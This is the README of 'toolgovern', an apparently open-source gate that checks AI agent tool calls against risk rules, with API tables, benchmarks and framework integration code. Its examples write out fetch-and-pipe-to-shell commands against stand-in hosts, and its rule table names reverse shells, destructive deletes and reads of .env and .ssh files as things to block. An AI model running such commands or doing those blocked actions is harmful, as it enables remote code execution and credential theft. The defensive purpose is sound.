toolgovern
Servidor MCP que envuelve el CLI de toolgovern para la validación de políticas de herramientas de agente.
Documentación
toolgovern
Qué hace • Referencia de API • Comparar • Benchmarks • Integraciones • CLI • FAQ
Controla cada llamada a herramienta que hace un agente de IA — shell, sistema de archivos, red, acceso a credenciales — antes de que se ejecute, no después de que algo ya haya salido mal.

toolgovern incluye dos paquetes independientes, ambos de primera clase — elige el que se adapte a tu
cadena de herramientas, o instala ambos. Ninguno está en desuso en favor del otro; ambos ejecutan el mismo clasificador
síncrono de 35 reglas (más una comprobación adicional de resolución DNS TG03 solo asíncrona en el lado de npm
— ver más abajo), aplican el mismo modelo de herencia de alcance con denegación por defecto, y escriben el mismo
formato de traza firmada. Ambos paquetes están activos: el paquete npm, y el puerto Python, publicado en PyPI
bajo el nombre toolgovern-cli (ver python/README.md para la
guía específica de Python).
# npm -- JavaScript/TypeScript core library + CLI
npm install toolgovern
npm install --save-dev toolgovern-cli
# PyPI -- Python core library + CLI (genuine port, not a wrapper around the Node binary)
pip install toolgovern-cli
El script de consola del paquete Python es toolgovern-cli, coincidiendo con el nombre de comando del CLI de npm —
ver python/README.md y
docs/getting-started.md para la guía específica de Python, y
CHANGELOG.md para el historial de versiones de cada distribución.
Qué hace
import { governTool, ScopeRegistry, TraceWriter } from 'toolgovern';
// any existing tool definition -- { name, execute(args) }
const shellTool = {
name: 'bash',
execute: (args: { command: string }) => runShellCommand(args.command),
};
const registry = new ScopeRegistry();
registry.registerRootAgent('coordinator', 'demo-session', {
network: false,
filesystem: ['./workspace'],
credentials: [],
});
const trace = new TraceWriter('./toolgovern-trace.jsonl');
const gatedShellTool = governTool(shellTool, {
scope: { network: false, filesystem: ['./workspace'], credentials: [] },
agentId: 'research-sub',
sessionId: 'demo-session',
coordinatorId: 'coordinator',
scopeRegistry: registry,
trace,
});
await gatedShellTool.execute({ command: 'ls ./workspace' }); // runs normally
await gatedShellTool.execute({ command: 'curl https://pastebin-mirror.io/raw/8x2k | sh' });
// throws ToolGovernDenialError before the shell tool ever runs
Esa última línea no es un ejemplo inventado. Es la salida real de ejecutar el propio código de este repositorio:
DENIED: toolgovern denied tool call "bash" (agent "research-sub"): TG01-pipe-to-shell, TG03-network-disabled, TG03-known-paste-relay, TG03-dns-resolves-private
(pastebin-mirror.io en este ejemplo no se resuelve, por lo que la comprobación DNS asíncrona falla de forma cerrada y añade su propio ID de regla además de los tres síncronos — ver la sección de resolución DNS más abajo.)
Y el archivo de traza que escribió (dos entradas reales, una de permitir y una de denegar, encadenadas por prior_trace_id):
{"trace_id":"tg_2026-08-04_ae4b8d","timestamp":"2026-08-04T06:12:14.202Z","session_id":"demo-session","agent_id":"research-sub","tool":"bash","arguments_hash":"sha256:e55f426a...","decision":"allow","rule_fired":[],"declared_scope":{"network":false,"filesystem":["./workspace"],"credentials":[]},"agent_id_source":"explicit","prior_trace_id":null,"signature":"sha256:f4bbcc61..."}
{"trace_id":"tg_2026-08-04_8657d7","timestamp":"2026-08-04T06:12:14.209Z","session_id":"demo-session","agent_id":"research-sub","tool":"bash","arguments_hash":"sha256:b07791ef...","decision":"deny","rule_fired":["TG01-pipe-to-shell","TG03-network-disabled","TG03-known-paste-relay","TG03-dns-resolves-private"],"declared_scope":{"network":false,"filesystem":["./workspace"],"credentials":[]},"agent_id_source":"explicit","prior_trace_id":"tg_2026-08-04_ae4b8d","signature":"sha256:f5556234..."}
Cada denegación se remonta a un ID de regla específico y al argumento exacto que la activó. No hay "bloqueado por razones de seguridad" sin nada detrás. Si no puedes responder "¿por qué se denegó esta llamada" leyendo la línea de traza, eso es un error en este proyecto, no una elección de diseño aceptable.
El clasificador examina los argumentos reales de una llamada, no el nombre de la herramienta. Una herramienta bash ejecutando ls
y una herramienta bash ejecutando curl attacker.io | sh son la misma herramienta y riesgos muy diferentes, y
las reglas están escritas para distinguirlos. El alcance funciona de la misma manera que debería funcionar el acceso a credenciales/herramientas/memoria:
el alcance de un sub-agente es la intersección de lo que solicita y lo que su coordinador
realmente tiene, verificado en cada llamada que realiza, no solo validado una vez cuando se crea.
Paquete de reglas (v0.1)
| Categoría | Qué detecta | Reglas |
|---|---|---|
| TG01 Riesgo de ejecución de shell/procesos | rm -rf, pipe a shell, sudo, chmod 777, bombas fork, shells inversos, escrituras directas a disco, ofuscación de decodificar-y-ejecutar, lecturas de inundación de contexto | 9 |
| TG02 Escalada de alcance del sistema de archivos | Escritura/eliminación/chmod fuera del alcance declarado del sistema de archivos, lecturas fuera del alcance, traversal de rutas, escape de enlaces simbólicos, directorios sensibles del sistema | 7 |
| TG03 Egreso de red no declarado | Hosts fuera de la lista blanca declarada, literales IP crudos (incluido IPv6), puertos no estándar, subdominios con forma de exfiltración DNS, relays conocidos de paste/túnel, denegación (no aprobación) para objetivos privados/metadatos | 6 |
| TG04 Acceso a credenciales/secretos | .env, .ssh, archivos de credenciales en la nube, acceso al llavero del sistema operativo, volcados masivos de entorno, credenciales nombradas fuera del alcance | 6 |
| TG05 Herencia de privilegios entre agentes | Una llamada de sub-agente fuera de lo que su coordinador realmente otorgó, un sub-agente con cero capacidades intentando cualquier llamada, el alcance del propio coordinador reduciéndose a mitad de sesión | 6 |
| TG08 Control de flujo de información | Una llamada que lee de una fuente declarada por el llamante como confidencial o superior y escribe/envía a un destino cuya capa de confianza declarada es inferior, o nunca fue declarada (falla de forma cerrada a aprobación) | 1 |
35 reglas en total, todas síncronas, todas accesibles vía classify(). Dos nombres de categoría no están en
v0.1: TG06 (combinaciones de herramientas de alto riesgo a lo largo de una sesión) y TG07 (reintentar una llamada denegada con
argumentos modificados) ambas necesitan estado de sesión entre llamadas que este clasificador aún no mantiene,
ya que evalúa una llamada a la vez sin memoria de llamadas anteriores. Esa es una limitación declarada, no
una oculta. TG08 (arriba) es la siguiente categoría después de TG05 que se incluye, porque — a diferencia de
TG06/TG07 — no necesita estado entre llamadas: evalúa los argumentos de origen/destino declarados de una sola llamada
contra una política de etiquetas declarada por el llamante (ScopeDeclaration.ifc), nada más. TG08 es
opt-in: nunca se activa para un agente cuyo alcance no declara ninguna política de ifc, por lo que esta adición
no cambia nada para los llamantes existentes. Ver
docs/concepts.md para la API de etiquetado y
docs/security-model.md para lo que esta primitiva con alcance deliberadamente
no intenta (sin inferencia automática de etiquetas, sin seguimiento de manchas entre llamadas, sin retícula
con alcance de lector — no es un sistema IFC de puerta de enlace MCP estilo FIDES, solo la primitiva real más pequeña que
permite que exista una verificación genuina de propagación de etiquetas).
Una 36.ª comprobación, solo asíncrona: resolución DNS de argumentos de hostname (TG03). Un argumento de literal IP crudo
(127.0.0.1, 169.254.169.254, ...) dirigido a espacio de loopback/RFC1918/link-local/metadatos de nube
ya es denegado por la tabla de 35 reglas anterior. Lo que la regla TG03-raw-ip-literal de esa tabla
no puede detectar es un argumento de hostname que meramente resuelve a una de esas mismas direcciones
(internal-alias.attacker.io -> 127.0.0.1) — una búsqueda DNS es inherentemente E/S, no algo que una
regla síncrona pueda hacer. TG03-dns-resolves-private cierra esa brecha: resuelve el hostname vía
dns.promises.lookup() (respetando /etc/hosts) y aplica la misma verificación de rango privado/metadatos
a cada dirección resuelta, fallando de forma cerrada (require-approval, nunca allow) si la resolución
en sí falla o se agota el tiempo. Debido a que esto necesita await, vive en un punto de entrada classifyAsync()
separado (el execute() ya async de governTool() llama a esto en lugar del classify()
síncrono), no en la tabla de 35 reglas anterior — classify() solo no lo ejecutará. Ver
docs/security-model.md (hallazgo #10) para el informe completo, incluyendo
los límites divulgados honestamente: esto reduce pero no elimina el TOCTOU de reenlace DNS, y
la revalidación de cadenas de redirección es una brecha separada, aún abierta, que esta comprobación no intenta. El paquete
Python incorpora la comprobación equivalente directamente en su único classify() síncrono en su lugar (36
reglas en total allí), ya que govern_tool() es síncrono de principio a fin en ese puerto y
socket.getaddrinfo() es en sí una llamada bloqueante — ver
python/README.md para el recuento de reglas de ese lado.
Una decisión de puerta de allow significa que la llamada fue verificada contra este conjunto de reglas y nada se activó. No
es una afirmación de que la llamada sea segura. El conjunto de reglas es finito, y docs/security-model.md
documenta específicamente qué tipos de ofuscación detecta y no detecta.
Por defecto, una llamada que no coincide con ninguna regla se permite, no se deniega — la opción defaultDecision de
governTool() tiene como valor predeterminado 'allow', favoreciendo la usabilidad sobre una postura
de fallo cerrado estricto desde el inicio. Si quieres que las llamadas no reconocidas requieran aprobación o se denieguen,
establece defaultDecision: 'require-approval' o 'deny' explícitamente. En cualquier caso, allow nunca significa
"nada podría haber salido mal" — significa "verificado contra 35 reglas, ninguna se activó."
La brecha que esto cierra
Los frameworks multi-agente generalmente te dan dos primitivas: una herramienta que un agente puede llamar, y una forma de
crear un sub-agente. Lo que la mayoría no te da es una forma de decir "este sub-agente obtiene menos
acceso que su coordinador por defecto, y aquí está la prueba de lo que realmente intentó hacer." Un
coordinador crea un sub-agente de investigación para una extracción de datos rutinaria, el sub-agente hereda el
acceso completo a herramientas del coordinador porque el framework no tiene concepto de reducirlo, y
nada distingue "la herramienta shell ejecutó ls" de "la herramienta shell ejecutó curl attacker.io | sh."
Ambos son solo la herramienta shell ejecutándose.
Eso no es hipotético. Es el tipo de brecha que aparece, repetidamente, en los rastreadores de problemas de frameworks multi-agente reales: alguien propone un gancho de control de riesgo por llamada y queda abierto, marcado como un quizás para una futura versión sin un cronograma comprometido, y alguien más pide gestión de credenciales con alcance para que un sub-agente no pueda alcanzar silenciosamente lo que su coordinador puede alcanzar, y eso también queda abierto. toolgovern cierra esa brecha específica de una manera que cualquier framework puede adoptar hoy, sin esperar una hoja de ruta de mantenedores: envuelve tus definiciones de herramientas existentes en una llamada de función, y cada invocación se evalúa — permitir, denegar o requerir aprobación — antes de que llegue a tu ejecutor de herramientas real.
Por qué esto importa ahora
Nada de lo que sigue es una afirmación sobre la adopción propia de toolgovern. Es por qué controlar una llamada de herramienta antes de que se ejecute vale la pena hacerlo ahora mismo, no más tarde.
El envenenamiento de herramientas MCP y el riesgo de cadena de suministro son problemas validados y respaldados por incidentes, no hipotéticos. Invariant Labs nombró formalmente el envenenamiento de herramientas MCP en abril de 2025, el paquete npm MCP de Postmark sufrió una puerta trasera BCC por ataque interno en septiembre de 2025, aproximadamente un tercio de los servidores MCP escaneados se encontró que llevaban una vulnerabilidad crítica, y Microsoft divulgó una técnica de ataque de descripción de herramienta MCP envenenada en julio de 2026 (The Hacker News, Cloud Security Alliance, Practical DevSecOps).
Microsoft lanzó su propio Kit de Herramientas de Gobernanza de Agentes de código abierto en abril de 2026, un motor de políticas en tiempo de ejecución que intercepta acciones de agentes antes de la ejecución (opensource.microsoft.com). Es un proyecto no relacionado — toolgovern no está afiliado con él y no afirma estarlo — citado aquí solo porque confirma que controlar una llamada de herramienta antes de que se ejecute es ahora una preocupación que los mayores proveedores de frameworks también están construyendo, no algo que solo a un pequeño proyecto OSS le importa.
Los frameworks para los que este proyecto incluye integraciones reales están ellos mismos consolidándose y creciendo
rápido, lo cual es parte de por qué la brecha importa en cada uno de ellos específicamente. Microsoft fusionó AutoGen
y Semantic Kernel en Microsoft Agent Framework 1.0 (GA 2026-04-03), con soporte de primera clase para Python
y .NET bajo Microsoft.Agents.AI
(devblogs.microsoft.com,
github.com/microsoft/agent-framework). LangGraph
superó a CrewAI en estrellas de GitHub a principios de 2026, impulsado por la adopción empresarial de su arquitectura
basada en grafos (langchain.com). El
Claude Agent SDK supuestamente superó a AutoGen en recuento de despliegues de producción empresarial a
principios/mediados de 2026 según el propio informe State of AI 2025 de LangChain, e incluye un gancho
PreToolUse construido específicamente en el que este proyecto se conecta directamente (ver la integración de Claude Agent SDK más abajo).
La presión regulatoria añade un plazo más estricto sobre el caso técnico: las obligaciones de IA de alto riesgo de la Ley de IA de la UE entran en vigor en agosto de 2026, la Ley de IA de Colorado se vuelve aplicable en junio de 2026, y OWASP publicó un Top 10 dedicado para Aplicaciones Agénticas para 2026. Ese es el contexto que hace que "¿puedes mostrar qué intentó hacer realmente un agente, y demostrar que una llamada fue bloqueada antes de ejecutarse?" sea una pregunta que más equipos reciben, no menos.
Referencia de la API
Todo lo siguiente se exporta desde el punto de entrada real del paquete toolgovern (src/index.ts) -- extraído del código fuente, no aspiracional. Los tipos completos viven en el propio paquete; esta es la superficie que realmente importas.
Middleware
| Export | Signature | Qué hace |
|---|---|---|
governTool | governTool<Args, Result>(tool: ToolDefinition<Args, Result>, options: GovernToolOptions): ToolDefinition<Args, Result> | Envuelve una definición de herramienta para que cada llamada sea clasificada antes de llegar a tu ejecutor real. |
ToolGovernDenialError | class extends Error | Se lanza cuando una llamada es denegada. |
InvalidAgentIdError | class extends Error | Se lanza cuando un ID de agente no coincide con un ámbito registrado. |
resumePendingApproval | resumePendingApproval<Args, Result>(tool: ToolDefinition<Args, Result>, registry: PendingApprovalRegistry, pendingId: string, resolution: ResolvePendingInput, options?: ResumePendingApprovalOptions): Promise<Result> | Cierra el bucle que abre un veredicto de require-approval: resuelve una aprobación pendiente en el registro y luego ejecuta realmente la herramienta original si la resolución lo permitió. |
PendingApprovalNotResolvableError | class extends Error | Se lanza por resumePendingApproval cuando el ID pendiente ya está resuelto, expirado o es desconocido. |
Ámbito
| Export | Signature | Qué hace |
|---|---|---|
ScopeRegistry | registerRootAgent(agentId, sessionId, scope): void | Registra el ámbito propio de un coordinador para que las llamadas de sub-agentes puedan verificarse contra él. |
computeInheritedScope | (coordinatorScope, requestedScope) => ScopeDeclaration | Función pura: intersecta el ámbito solicitado de un sub-agente con lo que su coordinador realmente tiene. |
hasZeroCapability | (scope) => boolean | Verdadero si un ámbito no concede ningún acceso. |
normalizeScope, isValidScopeDeclaration, isValidAgentId, EMPTY_SCOPE | -- | Helpers de validación y normalización de ámbitos. |
Traza
| Export | Signature | Qué hace |
|---|---|---|
TraceWriter | new TraceWriter(filePath: string, options?: TraceWriterOptions), append(input): Promise<TraceEntry> | Escribe una entrada de traza JSONL firmada y encadenada por hash por cada llamada. |
readTrace | (filePath: string) => Promise<TraceEntry[]> | Lee un archivo de traza de vuelta a memoria. |
filterTrace | (entries, query: TraceQuery) => TraceEntry[] | Filtra entradas de traza por ventana de tiempo, decisión, agente o ID de regla -- lo que toolgovern-cli audit ejecuta internamente. |
verifyChain | (entries, options?) => ChainVerificationResult | Recalcula firmas y confirma que los enlaces prior_trace_id están intactos. |
parseSince | (since: string, now?: Date) => Date | Analiza una cadena de ventana --since (p. ej. 24h) en un Date. |
computeEntryContentHash, computeEntrySignature | -- | Primitivas de bajo nivel de hash/firma detrás de TraceWriter. |
canonicalJson | (value: unknown) => string | Serialización JSON determinista y ordenada por clave -- por la que las primitivas de hash/firma anteriores pasan cada entrada para que la misma entrada lógica siempre genere el mismo hash. |
Política
| Export | Signature | Qué hace |
|---|---|---|
loadPolicy | (filePath: string) => Policy | Carga y valida un archivo de política YAML, lanzando PolicyValidationError en un archivo defectuoso. |
validatePolicy | (raw: unknown) => PolicyValidationResult | Valida un objeto de política sin cargarlo desde disco. |
asPolicy | (raw: unknown) => Policy | Reduce el tipo de un objeto crudo validado a Policy. |
Aprobación
| Export | Signature | Qué hace |
|---|---|---|
PendingApprovalRegistry | new PendingApprovalRegistry(options?: PendingApprovalRegistryOptions) | Un registro duradero y tolerante a alias para veredictos de require-approval que se resuelven fuera de banda (un botón de Slack, una cola de revisión) en lugar de responderse sincrónicamente en el proceso. |
UnknownPendingApprovalError | class extends Error | Se lanza al resolver un ID de aprobación del que el registro no tiene constancia. |
PendingApprovalAliasConflictError | class extends Error | Se lanza cuando un alias proporcionado por el llamador colisiona con una aprobación pendiente existente. |
En memoria por defecto; respáldalo con almacenamiento duradero real tú mismo para un despliegue que abarque procesos. Consulta la integración del SDK del Agente de Claude a continuación para un ejemplo práctico de cómo conectar esto a la ruta de aprobación requerida de un hook PreToolUse real.
Confianza del servidor MCP
| Export | Signature | Qué hace |
|---|---|---|
isOriginAllowed | (origin: string, allowlist: readonly string[]) => boolean | Verificación de lista de permitidos de origen en el momento de la conexión, coincidencia exacta por defecto (opta por coincidencia de subdominios con una entrada con prefijo *.). |
verifyMcpServerManifest | (manifestUrlOrEnvelope: string | McpManifestEnvelope, opts: VerifyManifestOptions) => Promise<McpTrustVerdict> | Verifica la firma Ed25519/RSA-SHA256 separada del manifiesto de un servidor MCP contra una lista de claves públicas fijadas. Falla cerrado en cada ruta: sin claves fijadas, manifiesto inalcanzable, ID de clave desconocido o una firma que no verifica, todo deniega. |
assertMcpServerTrusted | (request: McpServerConnectionRequest, policy: McpTrustPolicy) => Promise<McpTrustVerdict> | La puerta combinada en el momento de la conexión: lista de permitidos de origen primero, luego verificación de firma del manifiesto, antes de que cualquier herramienta declarada por el servidor sea confiable. |
Este es un momento de gobernanza categóricamente diferente de TG01-TG05/TG08: esos clasifican lo que una
llamada de herramienta hace una vez que un servidor MCP ya está conectado y sus herramientas ya se están invocando.
mcp-trust responde una pregunta que el clasificador por llamada nunca hace -- ¿debería este agente haberse
conectado a este servidor MCP, y haber confiado en las definiciones de herramientas que declaró, en primer lugar? --
verificada una vez en el momento de la conexión, antes de que cualquier llamada de herramienta de ese servidor sea clasificada. Está
motivada directamente por dos incidentes reales de la cadena de suministro MCP de 2026: la cadena CrewAI CVE-2026-2275/2287
(una herramienta no confiable proveniente de MCP como condición habilitante para una cadena de inyección de prompt a RCE)
y el tirón de alfombra del paquete Postmark MCP (un servidor previamente confiable que empuja una actualización
maliciosa que cada implementación descendente heredó silenciosamente). Ver
docs/security-model.md ("límite de confianza del servidor MCP") para el informe
completo, incluyendo lo que este módulo deliberadamente no intenta: sin verificación sigstore/sin clave,
sin verificación de revocación para una clave fijada comprometida, y sin re-verificación de una
conexión en vivo después de que la verificación del manifiesto pase una vez.
Clasificador
| Export | Firma | Qué hace |
|---|---|---|
classify | (ctx: RuleContext, options?: ClassifyOptions) => ClassifierResult | Ejecuta el clasificador síncrono de 35 reglas directamente contra un contexto de llamada. No ejecuta TG03-dns-resolves-private (ver abajo). |
classifyAsync | (ctx: RuleContext, options?: ClassifyOptions) => Promise<ClassifierResult> | Lo que governTool() realmente llama: todo lo que classify() hace, más la verificación asíncrona de resolución DNS TG03. |
ruleRegistry | Rule[] | Las 35 reglas síncronas -- contra lo que classify() verifica cada llamada. |
asyncRuleRegistry | AsyncRule[] | La(s) regla(s) solo asíncrona(s) -- actualmente solo TG03-dns-resolves-private -- que classifyAsync() adicionalmente verifica. |
Otros
| Export | Firma | Qué hace |
|---|---|---|
IdempotencyCache<Result> | constructor(options?: IdempotencyOptions) | Deduplica llamadas reintentadas con argumentos idénticos dentro de una ventana. |
Tipos: Decision, AgentIdSource, RuleCategory, ScopeDeclaration, Policy, RuleOverrides,
RuleContext, RuleMatch, Rule, AsyncRule, ClassifierResult, TraceEntry, TraceEntryInput,
AgentScopeRecord, GovernToolOptions, GateDecisionInfo, ApprovalHandler, ApprovalOutcome,
ToolDefinition.
Los paquetes de integración exportan una superficie más estrecha y específica del framework sobre lo anterior:
toolgovern-integration-oma exporta governedTool(tool, options) y
governedExecutor(baseExecutor, options); toolgovern-integration-langgraph exporta
governedLangGraphTool(langchainTool, options) y governedLangGraphTools(langchainTools, options).
Cómo se compara con otros proyectos de gobernanza de agentes
Este no es un campo vacío. Lee la tabla honestamente antes de decidir qué necesitas.
| toolgovern | Kit de herramientas de gobernanza de agentes de Microsoft | NVIDIA NeMo Relay | Humano en el bucle de LangGraph | |
|---|---|---|---|---|
| Qué controla realmente | Llamadas de herramientas, pre-ejecución, contra un conjunto de reglas integrado | Llamadas de herramientas, mensajes y delegación, pre-ejecución, contra políticas que tú autoras (YAML/OPA/Cedar) | Llamadas de herramientas y LLM a través de hooks pre-herramienta -- la cobertura depende del agente anfitrión, documentado para Claude Code/Codex, parcial en otros lugares | Una sola llamada de herramienta, pausada para una decisión humana -- sin clasificación de riesgo automatizada |
| Reglas listas para usar | 35, en 6 categorías, cero configuración | Ninguna incluida -- tú escribes la política | Ninguna incluida -- los hooks pre-herramienta llaman a tu propia lógica, no a un clasificador integrado | Ninguna -- tú decides por llamada |
| Lenguaje / huella | TypeScript, una biblioteca, envuelve una función | Python primero, 5 SDKs de lenguaje, motor de políticas + sistema de identidad + sandbox de ejecución + pila de auditoría | Núcleo en Rust, con enlaces Python/Node.js/Rust (Go experimental) | Python (un langgraphjs separado existe pero rastrea independientemente) |
| Reducción de alcance por agente | Sí -- un sub-agente nunca puede exceder el alcance otorgado de su coordinador | Sí -- reducción documentada de la cadena de delegación y un modelo de privilegios de 4 anillos | No documentado públicamente | No |
| Rastro de auditoría a prueba de manipulación | Sí -- JSONL local encadenado con hash y firmado | Sí -- respaldado por auditoría Merkle, parte de una especificación formal con 157 pruebas de conformidad | No -- exportación de trayectoria JSONL cruda (formato ATOF/ATIF), no firmada | No |
| Componente alojado requerido | No, nunca | No -- autoalojado por diseño, la integración con Azure es opcional | No -- puerta de enlace CLI local | No para la biblioteca OSS; el runtime de servidor alojado de LangGraph está licenciado por separado |
| Estrellas (verificado 2026-08-03) | 0, pre-lanzamiento | 5.6k | 103 (nuevo, creado 2026-03-31) | 38.8k (repositorio central langgraph) |
| Licencia | Apache 2.0 | MIT | Apache 2.0 | MIT |
Dos cosas sobre las que vale la pena ser directo, porque se detectarían rápido de otra manera:
El Kit de herramientas de gobernanza de agentes de Microsoft ya hace reducción de alcance por agente y un rastro de auditoría a prueba de manipulación, en una forma más madura y más completamente especificada que toolgovern -- una especificación formal de cadena de delegación, un modelo de anillos de privilegios, 157 pruebas de conformidad solo para la capa de auditoría. Cualquiera que compare los dos solo en "¿tiene alcance?" o "¿tiene un rastro firmado?" encontrará que están empatados. Eso no es una razón para saltarse AGT; si necesitas una plataforma de gobernanza completa con identidad, sandboxing y mapeo de cumplimiento detrás, es una opción real y bien construida.
NeMo Relay y el middleware humano en el bucle de LangGraph están haciendo un trabajo genuinamente diferente, no una versión más débil del mismo -- Relay te da un hook pre-herramienta para llamar a tu propia lógica desde (útil si ya estás construyendo sobre él, pero no incluye un clasificador de reglas propio, y su cobertura de hooks documentada es más fuerte para Claude Code/Codex, parcial en otros lugares), y el HITL de LangGraph es una primitiva manual de pausa-y-pregunta sin clasificación automatizada debajo. Listarlos aquí es sobre alcance, no una afirmación de que toolgovern los supera en su propia tarea.
Donde está la ventaja real de toolgovern: lo npm install , envuelves una función y obtienes 35 reglas
que ya existen -- sin autoría de políticas, sin sistema de identidad que levantar, sin servicios separados que
ejecutar. AGT es infraestructura que despliegas; toolgovern es una biblioteca que importas. Si quieres un conjunto
de reglas curado con cero configuración y estás bien ejecutándolo tú mismo sin proveedor y sin
panel de control, eso es para lo que es esto. Si necesitas una plataforma de gobernanza completa con un contrato de soporte
detrás, AGT es la respuesta más honesta hoy, y fingir lo contrario aquí no sobreviviría
cinco minutos de escrutinio.
Benchmarks (medidos, no objetivos)
Ejecútalo tú mismo: npm run build && npm run bench:detection-rate && npm run bench:latency. La metodología
completa, la descripción del corpus y los números de 3 ejecuciones viven en benchmarks/README.md; la tabla
a continuación es un resumen de ese archivo, no una afirmación separada.
| Categoría | Verificaciones de reglas | Tasa de detección | Tasa de falsos positivos |
|---|---|---|---|
| TG01 Riesgo de ejecución de shell/proceso | 9 | 100.0% (16/16) | 0.0% (0/13) |
| TG02 Escalada de alcance del sistema de archivos | 7 | 100.0% (14/14) | 0.0% (0/10) |
| TG03 Salida de red no declarada | 6 | 100.0% (12/12) | 0.0% (0/9) |
| TG04 Acceso a credenciales/secretos | 6 | 100.0% (13/13) | 0.0% (0/9) |
| TG05 Herencia de privilegios entre agentes | 6 | 100.0% (10/10) | 0.0% (0/10) |
| General | 34 | 100.0% (65/65) | 0.0% (0/51) |
Latencia del clasificador por llamada, en proceso sin ida y vuelta de red, medida en 5,000 llamadas
por ejecución en 3 ejecuciones: media 7.8-8.2 microsegundos, p50 7.5-7.6 microsegundos, p95 10.3-10.7 microsegundos,
p99 14.6-27.6 microsegundos. Ver benchmarks/README.md para la metodología completa y los números por ejecución.
Lee el número de tasa de detección honestamente: es 100% en un corpus de 116 casos que los mantenedores escribieron para
coincidir con las reglas que los mantenedores escribieron, incluyendo variantes ofuscadas (decodificar-base64-y-ejecutar,
división de pares de comillas vacías, caracteres Unicode invisibles, sustitución de $IFS-como-espacio) cerradas
durante una pasada de endurecimiento de seguridad documentada en docs/security-model.md. No es una afirmación de que
el 100% de las llamadas de herramientas riesgosas del mundo real se detecten. Una técnica que no esté en este corpus podría aún
pasar, y si encuentras una, extiende el corpus tú mismo.
Integración con frameworks
Dos paquetes de integración TypeScript publicados (envoltorios delgados alrededor de governTool(), sin
lógica de gobernanza independiente), cinco paquetes de integración adicionales solo para Python que apuntan
directamente a los SDK de Python propios de marcos de agentes específicos, un puerto .NET de código fuente disponible del núcleo más un adaptador real de Microsoft Agent Framework (.NET), y un comando CLI (toolgovern-cli init, ver más abajo) que genera una integración TypeScript directamente en tu proyecto. El README de cada paquete de integración documenta hallazgos reales y verificados de PASS/PARTIAL/FAIL contra el rastreador de problemas ascendente real de ese marco, no asumidos a partir de títulos de problemas.
toolgovern-integration-oma -- marcos de estilo multiagente abierto
Un adaptador genérico y documentado para envolver el sitio de llamada del ejecutor de herramientas de un marco multiagente. No es una integración enviada o fusionada contra ningún proyecto ascendente específico -- es un punto de partida funcional para adaptar, no una afirmación de que algún marco lo incluya hoy.

npm install toolgovern-integration-oma toolgovern
Dos formas, que coinciden con los dos patrones reales que los marcos realmente usan. Comienza con la primera:
// Per-tool, registration-time wrapping -- the pattern most frameworks with a tool registry
// actually use (register one governed tool at a time).
import { governedTool } from 'toolgovern-integration-oma';
import { loadPolicy } from 'toolgovern';
const policy = loadPolicy('./toolgovern.policy.yml');
registry.register(governedTool(myTool, policy));
// Dispatcher wrapping -- for frameworks whose tool-executor is a single
// runTool(name, args) dispatcher instead of per-tool registration.
import { governedExecutor } from 'toolgovern-integration-oma';
import { loadPolicy } from 'toolgovern';
const policy = loadPolicy('./toolgovern.policy.yml');
const executor = governedExecutor(baseExecutor, policy);
// wherever your framework currently calls baseExecutor.runTool(name, args) directly,
// call executor.runTool(name, args) instead
toolgovern-integration-langgraph -- LangGraph.js
El ToolNode de LangGraph.js no tiene un enlace wrap_tool_call -- eso solo existe en el paquete Python langgraph mantenido por separado. El punto de integración funcional solo para Node está un nivel más arriba, en el momento de definición de la herramienta: envuelve cada herramienta con governTool(), luego vuelve a envolverla con la fábrica tool() propia de LangChain antes de que entre en new ToolNode([...]).
npm install toolgovern-integration-langgraph @langchain/core @langchain/langgraph toolgovern
import { ToolNode } from '@langchain/langgraph/prebuilt';
import { governedLangGraphTools } from 'toolgovern-integration-langgraph';
import { loadPolicy } from 'toolgovern';
const policy = loadPolicy('./toolgovern.policy.yml');
const toolNode = new ToolNode(
governedLangGraphTools(myLangChainTools, {
...policy,
agentId: 'research-sub',
sessionId: 'demo-session',
}),
);
// wire toolNode into your StateGraph exactly as you would with the raw tools array --
// every call now flows through toolgovern's classifier first.
Esta es una capacidad nueva para los usuarios de LangGraph.js de ahora en adelante -- no resuelve retroactivamente ningún problema de LangGraph reportado anteriormente, ya que cada problema de LangGraph que este proyecto ha validado se presentó contra el repositorio Python langchain-ai/langgraph, no langgraphjs.
toolgovern-integration-langgraph (Python) -- LangGraph
El paquete Python langgraph mantenido por separado SÍ expone un enlace wrap_tool_call, un parámetro público del constructor ToolNode (confirmado contra el código fuente real e instalado de langgraph==1.2.9 / langgraph-prebuilt==1.1.0). Cada problema real de GitHub de LangGraph que este proyecto ha validado (langchain-ai/langgraph #8026, #7687, #7178, #8169) se presenta contra exactamente este paquete, por lo que esta es la integración que apunta al comportamiento real y reportado -- consulta integrations/langgraph-python/docs/root-cause.md para los veredictos PASS/PARTIAL/FAIL por problema.
Esto aún no está publicado en PyPI -- instálalo desde el código fuente:
git clone https://github.com/RudrenduPaul/toolgovern.git
cd toolgovern
pip install -e python
pip install -e integrations/langgraph-python
from langgraph.prebuilt import ToolNode
from toolgovern import GovernToolOptions, load_policy
from toolgovern_integration_langgraph import governed_tool_node
policy = load_policy("./toolgovern.policy.yml")
options = GovernToolOptions.from_policy(policy, agent_id="research-sub", session_id="demo-session")
tool_node = governed_tool_node(my_tools, options)
# wire tool_node into your StateGraph exactly as you would with the raw tools array --
# every call now flows through toolgovern's classifier first.
Consulta integrations/langgraph-python/README.md para la alternativa en el límite de definición de herramientas (governed_tool/governed_tools) y el comportamiento verificado y específico de versión de handle_tool_errors a través del cual se manifiesta una denegación.
toolgovern-integration-agent-framework -- Microsoft Agent Framework (Python)
Consulta integrations/agent-framework/README.md para el informe completo, incluidos veredictos honestos de PASS/PARTIAL/FAIL contra problemas reales ascendentes de microsoft/agent-framework. Este es solo para Python; el lado .NET de Agent Framework tiene su propio adaptador separado -- consulta la sección ".NET" a continuación.
Esto aún no está publicado en PyPI -- instálalo desde el código fuente:
git clone https://github.com/RudrenduPaul/toolgovern.git
cd toolgovern
pip install -e python
pip install -e integrations/agent-framework
from toolgovern import GovernToolOptions, ScopeDeclaration
from toolgovern_integration_agent_framework import governed_function_tool
def read_file(path: str) -> str:
with open(path) as f:
return f.read()
tool = governed_function_tool(
read_file,
GovernToolOptions(scope=ScopeDeclaration(filesystem=["/workspace"]), agent_id="research-agent"),
description="Read a file from the workspace.",
)
# tool is a real agent_framework.FunctionTool -- use it exactly like any other tool.
También se incluye un ToolGovernFunctionMiddleware para exponer un veredicto de aprobación requerida por llamada a través del flujo function_approval_request/function_approval_response propio de Agent Framework (en lugar de un canal lateral separado), además de una puerta de confianza del servidor MCP en el momento de la conexión que conecta el módulo mcp_trust de toolgovern a MCPStreamableHTTPTool. Consulta el README de ese paquete para ambos.
toolgovern-integration-crewai -- CrewAI (Python)
